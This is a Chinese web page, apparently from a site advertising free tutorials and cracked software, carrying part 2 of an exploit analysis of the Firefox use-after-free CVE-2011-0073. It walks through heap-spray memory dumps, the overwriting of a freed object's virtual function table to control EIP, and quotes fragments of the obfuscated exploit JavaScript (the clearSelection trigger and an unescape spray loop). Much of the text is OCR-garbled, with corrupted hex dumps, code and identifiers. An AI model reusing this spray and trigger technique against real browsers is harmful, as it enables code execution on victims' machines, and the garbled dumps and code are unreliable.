免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 系统安全 > 再谈CVE-2011-0073 firefox漏洞(2)

再谈CVE-2011-0073 firefox漏洞(2)

时间:2012-02-08 19:37来源:未知 整理:寂涯网络 点击:


对04_?(^的打地址处下内存写入断点,不一会,喷射就到了这里:

0妒0丨*丨地址JB6 eg ee匕 喷射内容
0^9ff/bHB| UM UU UU STBE B0 BB 00'"73 flB fi5 flfl'fiC BB i5 flffJTT
图9
搜索整个内存,我们可以发现喷射是有规律的:
m982120 00 00 00 0F 00 00 00 0F 00 00 00 0F 00 00 00 0F .■ ■_■■ .l.. •■•••■ A
iUMfeB^Mi
04982130 AD DE 00 00 3C S8 93 04 HH S8 93 04 4C 58 93 04 酤- ■<X?DX?LX?
B498214B 00 00 00 0F 00 00 00 0F 00 00 00 0F 00 00 00 0F  I...l...l...l
iMMiH^Hi
04982150 AD DE 00 00 00 70 96 01 00 00 00 00 00 00 00 00 m'- ■■P? 
04982160 58 D4 9B 10 74 bk 9B 10 90 bk 9B 10 01 00 00 00 名詻叶詻圓愒?£ • •
O4982170 00 00 00 00 63 00 lh 00 00 00 26 00 20 00 20 00 .■. .c. t.. «■
m9S2JSQ QQ QQ 00 0F QQ 00 00 0F 00 00 QQ 0F QQ QQ 00 0F  _•••_■••_•■■_
O498^90 AD DE 00 00 63 00 lh 00 00 00 2E 00 7h 00 61 00 m'- .c.t t.a.
O49821A0 6F 00 6E 00 78 00 62 00 6C 00 73 00 65 00 6C 00 o.n .x.b.l.s.e.l.
O49821B0 65 00 63 00 74 00 00 00 65 00 65 00 44 00 61 00 e.c .t.. .e.e.D.a.
B49821CB 00 00 00 0F 00 00 00 0F 00 00 00 0F 00 00 00 0F  I...l...l...l
O49821D0 AD DE 00 00 00 00 00 00 80 21 98 04 00 00 00 00 酿-  ■•? 
O49821E0 TT TiT w To" TF w w To" TF w W To" "oT" w ~m 00 8豁_墙_偈?土 --
0U9821F0 00 oo 00 00 31 00 Sb 00 3B 00 Qft 00 20 00 20 00 ■ ■ ■ .1.].; 
O4982200 58 D4 9B 10 7U D4 9B 10 90 D4 9B 10 03 00 00 00 xi^ ■t^t®?~ • •
通过连续的申请堆空间,总有一次会覆盖04_?(^ 以上实则是第一次进入BugTrigger函数调用虚 的 JS 代码就是 ZLUurXitDV. select (0);
它会执行 invalidateRange: function(s, e 堆喷射填充ObjPointer所指向的内存区 零值。然后返回。
程序接着进行一个判断,
处继续执行。
由于 ObjPointer 已经被 0000000f 0000000f 0000000f 0000000f ad de 所覆盖。 0x0f000000处又被喷射所覆盖,整个对象的虚函数表都能被控制。作者采用了相当精巧的 尺0?方法来过0£?,稍后我们会发现,喷射的每个值都是极为精确的。
总结上面的漏洞触发过程,我们发现一切操作都是围绕81^1^18861'函数来进行的: 第一次属于创建对象后正常调用8叫1^^886『然后返回。对应开中的:
vsr ZLUurXitDV = docament. getElem.ent3yId (rrtrrr) .view. 3election; ZLUurXitDV.clesrSelection();
第二次调用BugTrigger时,call虚函数的过程中,删除销毁了这个创建的对象指针 01^下01的61,并通过堆喷射覆盖了 ObjPointer所在内存的数据(01^下011^61此时是无效的)。 等到我们从调用的虚函数中返回时,这个对象指针所在的区域已经和初始创建时大不相同 了。直接导致虚函数再次被调用,也就是似61 after free。对应几中的:
 
ZLUurXitDV.clearSelection();

far (vax yQfUCOKeJTxIzel = 0; yQfUCOKeOTrIzeI < 10; +-yQfUCOKeJTrIzel1 wawOrJGKlOlDRwhlFqObJwIK.push(Lxc + McckpEywibQHacjcLfiJcIZfmm);
vax tOje5ZeQSZraSecONGdLa = unescape("%u455S%u4f52"); while (tOjeSZeQSZmSecDNGdLa.length < 524288}
cOjeSZeQ5ZmSecDNGdLa += rOj eS ZeQ5ZmSecONGdLa;
继结 [6狀]与0比较。
故而把〔 ,__,... .,...— ,...▼ ,  立于我们可控制的
数据堆0x0f000000的第二个DW0RD,由于[010切00004]要与0比较,为了让虚函数得到调 用从而控制EIP,必须使0x0f000004处的值不为0。这完全是我们能控制的! ! !

本页地址 http://www.jybase.net/xitonganquan/20120208766.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com